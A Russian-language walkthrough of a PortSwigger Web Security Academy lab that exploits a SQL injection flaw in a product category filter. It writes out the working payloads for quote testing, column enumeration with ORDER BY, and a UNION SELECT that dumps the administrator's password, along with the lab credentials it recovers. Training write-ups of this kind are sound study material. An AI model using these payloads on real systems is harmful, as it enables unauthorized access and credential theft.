В данной лабе есть уязвимый к SQL injection фильтр категории. В БД есть таблицы с именам users и колонками username и password. Нужно получить информацию из БД, чтобы зайти в аккаунт administrator.

https://0afe00cb0435e68b8132b15500ae0073.web-security-academy.net/

Solution

Известно, что уязвимость находится в фильтре категорий, поэтому сразу возьму его.

https://0afe00cb0435e68b8132b15500ae0073.web-security-academy.net/filter?category=Pets

Нужно подобрать обрамление. Пусть запрос выглядит следующим образом:

SELECT * FROM table WHERE category = 'Pets'

Протестирую пейлоад:

Pets' and 0=1-- -

IMG

Страница пустая, значит для обрамления используются одинарные кавычки. Теперь узнаю количество полей в запросе с помощью ORDER BY:

Pets' ORDER BY 10-- -Error
Pets' ORDER BY 5-- -Error
Pets' ORDER BY 3-- -Error
Pets' ORDER BY 2-- -Ok

Значит в запросе 2 параметра. Использую UNION, чтобы отобразить данные:

Pets' and false UNION SELECT NULL, NULL-- -Ok
Pets' and false UNION SELECT 1, 2-- -Error
Pets' and false UNION SELECT '1', '2'-- -Ok

Теперь попробую добавить поля username и password:

Pets' and false UNION SELECT username, password FROM users WHERE username = 'administrator'-- -ok

IMG

Лаба решена:3 Получил креды: administrator:5j1o1b7ls5ltyvanoo42. Зайду в аккаунт:

IMG

Ну, все. Я получил власть…